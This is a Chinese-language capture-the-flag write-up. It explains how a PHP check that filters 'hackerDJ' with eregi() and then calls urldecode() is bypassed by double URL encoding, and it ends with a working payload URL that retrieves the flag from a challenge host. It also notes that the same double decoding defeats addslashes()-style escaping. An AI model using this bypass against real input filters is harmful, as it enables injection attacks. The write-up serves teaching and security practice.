PHP – urldecode() 二次编码绕过

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("not allowed!");
exit();
}

$_GET[id] = urldecode($_GET[id]);

if($_GET[id] == "hackerDJ")
{
echo "Access granted!";
echo "flag";
}
?>

代码分析

  • eregi() 搜索字符串中指定的模式的字符串。搜索不区分大小写
  • urldecode() 解码URL编码

函数用法

urldecode() 用于解码URL编码的字符串

用法示例代码

1
2
3
<?php
echo (urldecode('%74%65%73%74'));
?>

用法返回结果

test

urldecode() 函数本没有问题,只是解密URL编码。在防止注入时,可能用 addslashes()mysql_real_escape_string()mysql_escape_string() 或者使用魔术引号GPC开关来防止注入,原理都是给单引号(’)、双引号(”)、反斜杠(\)和NULL等特殊字符前面加上反斜杠来进行转义。但是这些函数在遇到urldecode()函数时,就会因为二次解码引发注入。

绕过分析

使用一次加密

  • hackerDJ 一次 URL 加密之后 GET 发送过去,会自动解码为 hackerDJ
  • 第一层 eregi() 检测将其过滤

使用二次加密

  • hackerDJ 二次 URL 加密之后 GET 发送过去,会自动解码为 %68%61%63%6B%65%72%44%4A
  • 在接受 $_GET[id] 时,urldecode()%68%61%63%6B%65%72%44%4A 解码为 hackerDJ 满足条件,获取flag

Payload

http://120.24.86.145:9009/10.php?id=%2568%2561%2563%256B%2565%2572%2544%254A